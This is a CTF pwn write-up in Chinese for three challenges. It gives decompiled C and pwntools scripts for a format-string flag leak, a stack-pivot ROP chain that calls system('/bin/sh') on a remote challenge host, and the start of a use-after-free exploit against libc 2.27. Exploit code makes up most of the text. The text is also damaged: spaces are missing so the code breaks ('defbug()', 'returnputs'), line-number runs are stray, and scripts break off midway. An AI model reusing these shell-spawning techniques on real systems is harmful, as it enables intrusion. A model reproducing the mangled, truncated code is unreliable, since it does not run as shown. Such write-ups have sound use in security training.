v7 = __readfsqword(0x28u); init_func(argc, argv, envp); puts("Welcome to FZNCTF!"); puts("lizimi is waiting for you..."); puts("what do you want to say to him?"); puts("please input:"); fd = open("flag", 0); if ( fd == -1 ) { perror("open flag failed"); exit(1); } read(fd, buf, 0x30uLL); close(fd); read(0, format, 0x200uLL); printf(format); return0; }
程序首先会打开flag文件并读到栈上,本地调试可知偏移为7(64位格式化字符串)
exp:
1 2 3 4 5 6 7 8 9 10 11
from pwn import * #p = process("./attachment") p = remote("nc1.ctfplus.cn",11882) context.log_level = 'debug' #gdb.attach(p) p.recvuntil("please input:") p1 = b'%7$s'
v3 = __readgsdword(0x14u); puts("What a cute canary!!!!!"); puts("Maybe the canary is a string of numbers?"); puts("Can you guess the number?"); for ( i = 0; i <= 1; ++i ) { read(0, buf, 0x200u); printf("number %s", buf); if ( !strncmp(buf, "114514", 6u) ) //ctf经典数字 Right(); //没有什么用 } return __readgsdword(0x14u) ^ v3; }
puts("now let's start to play!\n"); puts("please give me your name\n"); read(0, buf, 0x50uLL); printf("your name is %s\n", buf); puts("give me some other message\n"); return read(0, buf, 0x50uLL); }
from pwn import* a=input("yes is process ,no is remote:") if"y"in a: p = process("./stack_pivotingx64") elif"n"in a: p =remote("nc1.ctfplus.cn",19747) context.log_level = 'debug' psl = lambda data :p.sendline(data) ps = lambda data : p.send(data) ph = lambda data : print(hex(data)) pc = lambda data : p.recvuntil(data)
defbug(): gdb.attach(p) pause()
defexp(): rdi=0x0000000000401275 system = 0x40126a magic = 0x401256 pc("please give me your name\n")
p0 = b'a'*0x30 ps(p0) pc(b'a'*0x30) rbp = u64(p.recv(6)[-6::].ljust(8,b'\x00'))-0x10 rsp = rbp-0x30 binsh =rsp+32 ph(rbp) #bug() p1=p64(0)+p64(rdi)+p64(binsh)+p64(system)+b'/bin/sh\x00'+p64(magic+1)+p64(rsp)+p64(magic) #magic+1为ret pc("give me some other message\n") ps(p1) p.interactive() exp()
ezuaf
保护全开
存在uaf,不存在栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
intdel() { int v0; // eax void *v1; // rdi
puts("idx?"); v0 = get_int(); if ( v0 < 0 ) returnputs("invalid"); if ( num <= v0 ) returnputs("invalid"); v1 = (void *)heap[v0]; if ( !v1 ) returnputs("invalid"); free(v1);//指针未置零 returnputs("delete done"); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
intshow() { int v0; // eax __int64 v1; // rbx
puts("idx?"); v0 = get_int(); if ( v0 < 0 ) returnputs("invalid"); if ( num <= v0 ) returnputs("invalid"); v1 = v0; if ( !heap[v0] ) returnputs("invalid"); write(1, "content: ", 9uLL); write(1, (constvoid *)heap[v1], sizes[v1]); return write(1, "\n", 1uLL); }
from pwn import* a=input("yes is process ,no is remote:") if"y"in a: p = process("./pwn") elif"n"in a: p =remote("nc1.ctfplus.cn",31004) e = ELF("./pwn") libc = ELF("./libc-2.27.so")
context.log_level = 'debug'
psl = lambda data :p.sendline(data) ps = lambda data : p.send(data) ph = lambda data : print(hex(data)) pc = lambda data : p.recvuntil(data) uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00')) defbug(): gdb.attach(p) pause()